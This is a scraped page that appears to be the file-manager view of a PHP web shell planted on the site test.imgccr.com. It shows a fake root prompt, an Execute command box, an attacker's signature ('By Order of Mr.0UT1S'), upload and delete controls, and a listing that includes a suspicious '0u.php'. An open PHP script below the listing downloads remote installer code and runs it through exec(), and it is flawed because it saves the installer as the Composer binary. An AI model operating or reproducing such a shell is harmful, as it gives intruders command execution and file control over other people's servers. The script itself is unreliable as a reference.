home
/
aioutajg
/
test.imgccr.com
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] Before Install
N/A
[DIR] composer_home
N/A
[DIR] vendor
N/A
0u.php
37.68 KB
Rename
Delete
1.install.php
1.69 KB
Rename
Delete
2.run_composer.php
643 bytes
Rename
Delete
Before Install.zip
3.10 KB
Rename
Delete
composer.json
67 bytes
Rename
Delete
composer.lock
46.59 KB
Rename
Delete
composer.phar
2.92 MB
Rename
Delete
index.php
773 bytes
Rename
Delete
robots.txt
26 bytes
Rename
Delete
upload.php
2.36 KB
Rename
Delete
<?php // URL to download Composer $composerUrl = 'https://getcomposer.org/installer'; // Path to save the Composer binary $composerPath = __DIR__ . '/composer.phar'; // Download Composer echo "Downloading Composer...\n"; $installer = fopen($composerUrl, 'rb'); if ($installer === false) { die("Error: Could not download Composer.\n"); } $composerFile = fopen($composerPath, 'wb'); if ($composerFile === false) { die("Error: Could not create Composer file.\n"); } while (!feof($installer)) { fwrite($composerFile, fread($installer, 8192)); } fclose($installer); fclose($composerFile); echo "Composer downloaded successfully.\n"; // Make Composer executable (on Unix-based systems) // Note: This part will not work on Windows environments if (stripos(PHP_OS, 'WIN') === false) { echo "Setting executable permissions...\n"; chmod($composerPath, 0755); echo "Permissions set.\n"; } // Set COMPOSER_HOME environment variable if needed $composerHome = __DIR__ . '/composer_home'; if (!file_exists($composerHome)) { mkdir($composerHome, 0700); } putenv('COMPOSER_HOME=' . $composerHome); echo "Setting COMPOSER_HOME environment variable...\n"; // Run Composer install echo "Running Composer install...\n"; exec("php $composerPath install 2>&1", $output, $returnVar); if ($returnVar !== 0) { echo "Error: Composer install failed.\n"; echo "Output:\n" . implode("\n", $output) . "\n"; } else { echo "Composer install completed successfully.\n"; } // Provide instructions for manual usage if needed echo "Composer has been downloaded as 'composer.phar'.\n"; echo "To install dependencies manually, run: php composer.phar install\n";
Save